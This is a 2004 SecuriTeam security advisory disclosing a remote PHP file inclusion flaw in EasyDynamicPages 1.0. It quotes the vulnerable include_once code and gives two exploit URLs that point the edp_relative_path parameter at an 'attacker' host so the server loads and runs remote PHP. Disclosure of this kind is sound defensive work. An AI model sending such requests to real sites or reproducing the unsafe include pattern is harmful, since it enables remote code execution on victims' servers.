[UNIX] EasyDynamicPages File Inclusion Vulnerability
From: SecuriTeam (support_at_securiteam.com)
Date: 01/05/04
- Previous message: SecuriTeam: "[NT] Switch Off Multiple Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 5 Jan 2004 11:48:10 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
EasyDynamicPages File Inclusion Vulnerability
------------------------------------------------------------------------
SUMMARY
<http://software.stoitsov.com/> EasyDynamicPages is "a Web Portal System,
news system, personal, or business site or what you need". A vulnerability
in the product allows remote attackers to cause the PHP files used by the
product to insert arbitrary external PHP files and execute the content
provided in them.
DETAILS
Vulnerable systems:
* EasyDynamicPages version 1.0
Vulnerable code:
The code found in the file /admin/config.php:
include_once $edp_relative_path."admin/serverdata.php";
Which can be exploited by sending the following URL:
http://victim/admin/config.php/edp_relative_path=http://attacker/
Which in turn will request from the server the following file:
http://attacker/admin/serverdata.php
The code found in the file /dynamicpages/fast/config_page.php:
$ResultHtml="";
if ($do=="add_page") {
switch($du) {
case "site": include_once $edp_relative_path."admin/site_settings.php";
break;
case "dpage": include_once $edp_relative_path."admin/dpage_settings.php";
break;
Which can be exploited by sending the following URL:
http://victim/dynamicpages/fast/config_page.php?do=add_page&du=site&edp_relative_path=http://attacker/
Which in turn will request from the server the following file:
http://attacker/admin/site_settings.php
ADDITIONAL INFORMATION
The information has been provided by <mailto:security@security.com.vn>
Vietnamese Security Group.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Switch Off Multiple Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|